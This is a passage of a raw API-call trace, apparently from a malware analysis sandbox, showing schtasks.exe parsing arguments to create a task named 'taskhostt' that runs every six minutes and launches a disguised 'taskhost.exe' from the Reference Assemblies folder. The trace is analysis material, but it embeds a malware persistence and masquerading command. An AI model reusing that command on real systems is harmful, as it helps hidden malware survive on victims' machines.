(lpString="showsid") returned 7 [0143.478] lstrlenW (lpString="showsid") returned 7 [0143.478] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.478] GetProcessHeap () returned 0x3c0000 [0143.478] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc260) returned 1 [0143.478] GetProcessHeap () returned 0x3c0000 [0143.478] RtlReAllocateHeap (Heap=0x3c0000, Flags=0xc, Ptr=0x3dc260, Size=0x16) returned 0x3dc260 [0143.478] lstrlenW (lpString="tn") returned 2 [0143.478] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.478] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|showsid|") returned 9 [0143.478] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.478] lstrlenW (lpString="|showsid|") returned 9 [0143.478] lstrlenW (lpString="|tn|") returned 4 [0143.478] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0143.478] SetLastError (dwErrCode=0x490) [0143.478] SetLastError (dwErrCode=0x490) [0143.478] SetLastError (dwErrCode=0x0) [0143.478] lstrlenW (lpString="/tn") returned 3 [0143.478] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0143.478] SetLastError (dwErrCode=0x490) [0143.478] SetLastError (dwErrCode=0x0) [0143.478] lstrlenW (lpString="/tn") returned 3 [0143.478] GetProcessHeap () returned 0x3c0000 [0143.479] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8) returned 0x3dc200 [0143.479] GetProcessHeap () returned 0x3c0000 [0143.479] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcc10 [0143.479] SetLastError (dwErrCode=0x0) [0143.479] SetLastError (dwErrCode=0x0) [0143.479] lstrlenW (lpString="taskhostt") returned 9 [0143.479] lstrlenW (lpString="-/") returned 2 [0143.479] StrChrIW (lpStart="-/", wMatch=0x74) returned 0x0 [0143.479] SetLastError (dwErrCode=0x490) [0143.479] SetLastError (dwErrCode=0x490) [0143.479] SetLastError (dwErrCode=0x0) [0143.479] lstrlenW (lpString="taskhostt") returned 9 [0143.479] StrChrIW (lpStart="taskhostt", wMatch=0x3a) returned 0x0 [0143.479] SetLastError (dwErrCode=0x490) [0143.479] SetLastError (dwErrCode=0x0) [0143.479] lstrlenW (lpString="taskhostt") returned 9 [0143.479] GetProcessHeap () returned 0x3c0000 [0143.479] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x14) returned 0x3dc290 [0143.479] GetProcessHeap () returned 0x3c0000 [0143.479] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcc40 [0143.479] SetLastError (dwErrCode=0x0) [0143.479] SetLastError (dwErrCode=0x0) [0143.479] lstrlenW (lpString="/sc") returned 3 [0143.479] lstrlenW (lpString="-/") returned 2 [0143.479] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.479] lstrlenW (lpString="?") returned 1 [0143.479] lstrlenW (lpString="?") returned 1 [0143.479] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.479] lstrlenW (lpString="sc") returned 2 [0143.479] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.480] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.480] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.480] lstrlenW (lpString="|?|") returned 3 [0143.480] lstrlenW (lpString="|sc|") returned 4 [0143.482] SetLastError (dwErrCode=0x490) [0143.482] lstrlenW (lpString="create") returned 6 [0143.482] lstrlenW (lpString="create") returned 6 [0143.482] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.482] lstrlenW (lpString="sc") returned 2 [0143.482] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.482] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.482] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.482] lstrlenW (lpString="|create|") returned 8 [0143.482] lstrlenW (lpString="|sc|") returned 4 [0143.482] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0143.483] SetLastError (dwErrCode=0x490) [0143.483] lstrlenW (lpString="delete") returned 6 [0143.483] lstrlenW (lpString="delete") returned 6 [0143.483] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.483] lstrlenW (lpString="sc") returned 2 [0143.483] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.483] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|delete|") returned 8 [0143.483] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.483] lstrlenW (lpString="|delete|") returned 8 [0143.483] lstrlenW (lpString="|sc|") returned 4 [0143.483] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0143.483] SetLastError (dwErrCode=0x490) [0143.483] lstrlenW (lpString="query") returned 5 [0143.483] lstrlenW (lpString="query") returned 5 [0143.483] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.483] lstrlenW (lpString="sc") returned 2 [0143.483] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.483] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|query|") returned 7 [0143.483] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.483] lstrlenW (lpString="|query|") returned 7 [0143.483] lstrlenW (lpString="|sc|") returned 4 [0143.483] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0143.483] SetLastError (dwErrCode=0x490) [0143.483] lstrlenW (lpString="change") returned 6 [0143.483] lstrlenW (lpString="change") returned 6 [0143.483] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.483] lstrlenW (lpString="sc") returned 2 [0143.484] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.484] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|change|") returned 8 [0143.484] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.484] lstrlenW (lpString="|change|") returned 8 [0143.484] lstrlenW (lpString="|sc|") returned 4 [0143.484] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0143.484] SetLastError (dwErrCode=0x490) [0143.484] lstrlenW (lpString="run") returned 3 [0143.484] lstrlenW (lpString="run") returned 3 [0143.484] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.484] lstrlenW (lpString="sc") returned 2 [0143.484] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.484] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|run|") returned 5 [0143.484] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.484] lstrlenW (lpString="|run|") returned 5 [0143.484] lstrlenW (lpString="|sc|") returned 4 [0143.484] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0143.484] SetLastError (dwErrCode=0x490) [0143.484] lstrlenW (lpString="end") returned 3 [0143.484] lstrlenW (lpString="end") returned 3 [0143.484] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.484] lstrlenW (lpString="sc") returned 2 [0143.484] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.484] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|end|") returned 5 [0143.484] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.485] lstrlenW (lpString="|end|") returned 5 [0143.485] lstrlenW (lpString="|sc|") returned 4 [0143.485] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0143.485] SetLastError (dwErrCode=0x490) [0143.485] lstrlenW (lpString="showsid") returned 7 [0143.485] lstrlenW (lpString="showsid") returned 7 [0143.485] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.485] lstrlenW (lpString="sc") returned 2 [0143.485] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.485] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|showsid|") returned 9 [0143.485] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|sc|") returned 4 [0143.485] lstrlenW (lpString="|showsid|") returned 9 [0143.485] lstrlenW (lpString="|sc|") returned 4 [0143.485] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0143.485] SetLastError (dwErrCode=0x490) [0143.485] SetLastError (dwErrCode=0x490) [0143.485] SetLastError (dwErrCode=0x0) [0143.485] lstrlenW (lpString="/sc") returned 3 [0143.485] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0143.485] SetLastError (dwErrCode=0x490) [0143.485] SetLastError (dwErrCode=0x0) [0143.485] lstrlenW (lpString="/sc") returned 3 [0143.485] GetProcessHeap () returned 0x3c0000 [0143.485] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8) returned 0x3dc2b0 [0143.485] GetProcessHeap () returned 0x3c0000 [0143.485] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcc70 [0143.485] SetLastError (dwErrCode=0x0) [0143.485] SetLastError (dwErrCode=0x0) [0143.485] lstrlenW (lpString="MINUTE") returned 6 [0143.486] lstrlenW (lpString="-/") returned 2 [0143.486] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0143.486] SetLastError (dwErrCode=0x490) [0143.486] SetLastError (dwErrCode=0x490) [0143.486] SetLastError (dwErrCode=0x0) [0143.486] lstrlenW (lpString="MINUTE") returned 6 [0143.486] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0143.486] SetLastError (dwErrCode=0x490) [0143.486] SetLastError (dwErrCode=0x0) [0143.486] lstrlenW (lpString="MINUTE") returned 6 [0143.486] GetProcessHeap () returned 0x3c0000 [0143.486] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3dc2d0 [0143.486] GetProcessHeap () returned 0x3c0000 [0143.486] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcca0 [0143.486] SetLastError (dwErrCode=0x0) [0143.486] SetLastError (dwErrCode=0x0) [0143.486] lstrlenW (lpString="/mo") returned 3 [0143.486] lstrlenW (lpString="-/") returned 2 [0143.486] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.486] lstrlenW (lpString="?") returned 1 [0143.486] lstrlenW (lpString="?") returned 1 [0143.486] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.486] lstrlenW (lpString="mo") returned 2 [0143.486] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.486] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.486] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.486] lstrlenW (lpString="|?|") returned 3 [0143.486] lstrlenW (lpString="|mo|") returned 4 [0143.487] SetLastError (dwErrCode=0x490) [0143.487] lstrlenW (lpString="create") returned 6 [0143.487] lstrlenW (lpString="create") returned 6 [0143.487] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.487] lstrlenW (lpString="mo") returned 2 [0143.487] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.487] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.487] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.487] lstrlenW (lpString="|create|") returned 8 [0143.487] lstrlenW (lpString="|mo|") returned 4 [0143.487] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0143.487] SetLastError (dwErrCode=0x490) [0143.487] lstrlenW (lpString="delete") returned 6 [0143.487] lstrlenW (lpString="delete") returned 6 [0143.487] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.487] lstrlenW (lpString="mo") returned 2 [0143.487] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.487] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|delete|") returned 8 [0143.487] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.487] lstrlenW (lpString="|delete|") returned 8 [0143.487] lstrlenW (lpString="|mo|") returned 4 [0143.487] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0143.487] SetLastError (dwErrCode=0x490) [0143.487] lstrlenW (lpString="query") returned 5 [0143.487] lstrlenW (lpString="query") returned 5 [0143.487] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.488] lstrlenW (lpString="mo") returned 2 [0143.488] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.488] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|query|") returned 7 [0143.488] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.488] lstrlenW (lpString="|query|") returned 7 [0143.488] lstrlenW (lpString="|mo|") returned 4 [0143.488] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0143.488] SetLastError (dwErrCode=0x490) [0143.488] lstrlenW (lpString="change") returned 6 [0143.488] lstrlenW (lpString="change") returned 6 [0143.488] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.488] lstrlenW (lpString="mo") returned 2 [0143.488] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.488] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|change|") returned 8 [0143.488] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.488] lstrlenW (lpString="|change|") returned 8 [0143.488] lstrlenW (lpString="|mo|") returned 4 [0143.488] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0143.488] SetLastError (dwErrCode=0x490) [0143.488] lstrlenW (lpString="run") returned 3 [0143.488] lstrlenW (lpString="run") returned 3 [0143.488] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.488] lstrlenW (lpString="mo") returned 2 [0143.488] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.488] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|run|") returned 5 [0143.488] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.489] lstrlenW (lpString="|run|") returned 5 [0143.489] lstrlenW (lpString="|mo|") returned 4 [0143.489] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0143.489] SetLastError (dwErrCode=0x490) [0143.489] lstrlenW (lpString="end") returned 3 [0143.489] lstrlenW (lpString="end") returned 3 [0143.489] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.489] lstrlenW (lpString="mo") returned 2 [0143.489] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.489] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|end|") returned 5 [0143.489] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.489] lstrlenW (lpString="|end|") returned 5 [0143.489] lstrlenW (lpString="|mo|") returned 4 [0143.489] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0143.489] SetLastError (dwErrCode=0x490) [0143.489] lstrlenW (lpString="showsid") returned 7 [0143.489] lstrlenW (lpString="showsid") returned 7 [0143.489] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.489] lstrlenW (lpString="mo") returned 2 [0143.489] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.489] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|showsid|") returned 9 [0143.489] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|mo|") returned 4 [0143.489] lstrlenW (lpString="|showsid|") returned 9 [0143.489] lstrlenW (lpString="|mo|") returned 4 [0143.489] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0143.489] SetLastError (dwErrCode=0x490) [0143.490] SetLastError (dwErrCode=0x490) [0143.490] SetLastError (dwErrCode=0x0) [0143.490] lstrlenW (lpString="/mo") returned 3 [0143.490] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0143.490] SetLastError (dwErrCode=0x490) [0143.490] SetLastError (dwErrCode=0x0) [0143.490] lstrlenW (lpString="/mo") returned 3 [0143.490] GetProcessHeap () returned 0x3c0000 [0143.490] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8) returned 0x3dc2f0 [0143.490] GetProcessHeap () returned 0x3c0000 [0143.490] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dccd0 [0143.490] SetLastError (dwErrCode=0x0) [0143.490] SetLastError (dwErrCode=0x0) [0143.490] lstrlenW (lpString="6") returned 1 [0143.490] SetLastError (dwErrCode=0x490) [0143.490] SetLastError (dwErrCode=0x0) [0143.490] lstrlenW (lpString="6") returned 1 [0143.490] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0143.490] SetLastError (dwErrCode=0x490) [0143.490] SetLastError (dwErrCode=0x0) [0143.490] lstrlenW (lpString="6") returned 1 [0143.490] GetProcessHeap () returned 0x3c0000 [0143.490] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dc310 [0143.490] GetProcessHeap () returned 0x3c0000 [0143.490] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd00 [0143.490] SetLastError (dwErrCode=0x0) [0143.490] SetLastError (dwErrCode=0x0) [0143.490] lstrlenW (lpString="/tr") returned 3 [0143.490] lstrlenW (lpString="-/") returned 2 [0143.490] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.490] lstrlenW (lpString="?") returned 1 [0143.491] lstrlenW (lpString="?") returned 1 [0143.491] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.491] lstrlenW (lpString="tr") returned 2 [0143.491] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.491] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.491] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.491] lstrlenW (lpString="|?|") returned 3 [0143.491] lstrlenW (lpString="|tr|") returned 4 [0143.491] SetLastError (dwErrCode=0x490) [0143.491] lstrlenW (lpString="create") returned 6 [0143.491] lstrlenW (lpString="create") returned 6 [0143.491] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.491] lstrlenW (lpString="tr") returned 2 [0143.491] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.491] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.491] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.491] lstrlenW (lpString="|create|") returned 8 [0143.491] lstrlenW (lpString="|tr|") returned 4 [0143.491] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0143.491] SetLastError (dwErrCode=0x490) [0143.491] lstrlenW (lpString="delete") returned 6 [0143.491] lstrlenW (lpString="delete") returned 6 [0143.491] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.491] lstrlenW (lpString="tr") returned 2 [0143.491] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.492] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|delete|") returned 8 [0143.492] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.492] lstrlenW (lpString="|delete|") returned 8 [0143.492] lstrlenW (lpString="|tr|") returned 4 [0143.492] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0143.492] SetLastError (dwErrCode=0x490) [0143.492] lstrlenW (lpString="query") returned 5 [0143.492] lstrlenW (lpString="query") returned 5 [0143.492] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.492] lstrlenW (lpString="tr") returned 2 [0143.492] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.492] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|query|") returned 7 [0143.492] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.492] lstrlenW (lpString="|query|") returned 7 [0143.492] lstrlenW (lpString="|tr|") returned 4 [0143.492] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0143.492] SetLastError (dwErrCode=0x490) [0143.492] lstrlenW (lpString="change") returned 6 [0143.492] lstrlenW (lpString="change") returned 6 [0143.492] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.492] lstrlenW (lpString="tr") returned 2 [0143.492] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.492] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|change|") returned 8 [0143.492] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.492] lstrlenW (lpString="|change|") returned 8 [0143.492] lstrlenW (lpString="|tr|") returned 4 [0143.493] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0143.493] SetLastError (dwErrCode=0x490) [0143.493] lstrlenW (lpString="run") returned 3 [0143.493] lstrlenW (lpString="run") returned 3 [0143.493] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.493] lstrlenW (lpString="tr") returned 2 [0143.493] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.493] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|run|") returned 5 [0143.493] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.493] lstrlenW (lpString="|run|") returned 5 [0143.493] lstrlenW (lpString="|tr|") returned 4 [0143.493] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0143.493] SetLastError (dwErrCode=0x490) [0143.493] lstrlenW (lpString="end") returned 3 [0143.493] lstrlenW (lpString="end") returned 3 [0143.493] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.493] lstrlenW (lpString="tr") returned 2 [0143.493] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.493] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|end|") returned 5 [0143.493] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.493] lstrlenW (lpString="|end|") returned 5 [0143.493] lstrlenW (lpString="|tr|") returned 4 [0143.493] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0143.493] SetLastError (dwErrCode=0x490) [0143.493] lstrlenW (lpString="showsid") returned 7 [0143.493] lstrlenW (lpString="showsid") returned 7 [0143.494] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.494] lstrlenW (lpString="tr") returned 2 [0143.494] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.494] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|showsid|") returned 9 [0143.494] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tr|") returned 4 [0143.494] lstrlenW (lpString="|showsid|") returned 9 [0143.494] lstrlenW (lpString="|tr|") returned 4 [0143.494] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0143.494] SetLastError (dwErrCode=0x490) [0143.494] SetLastError (dwErrCode=0x490) [0143.494] SetLastError (dwErrCode=0x0) [0143.494] lstrlenW (lpString="/tr") returned 3 [0143.494] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0143.494] SetLastError (dwErrCode=0x490) [0143.494] SetLastError (dwErrCode=0x0) [0143.494] lstrlenW (lpString="/tr") returned 3 [0143.494] GetProcessHeap () returned 0x3c0000 [0143.494] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8) returned 0x3dc330 [0143.494] GetProcessHeap () returned 0x3c0000 [0143.494] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd30 [0143.494] SetLastError (dwErrCode=0x0) [0143.494] SetLastError (dwErrCode=0x0) [0143.494] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.494] lstrlenW (lpString="-/") returned 2 [0143.494] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0143.495] SetLastError (dwErrCode=0x490) [0143.495] SetLastError (dwErrCode=0x490) [0143.495] SetLastError (dwErrCode=0x0) [0143.495] lstrlenW (lpString="'C:\\Program Files\\Reference 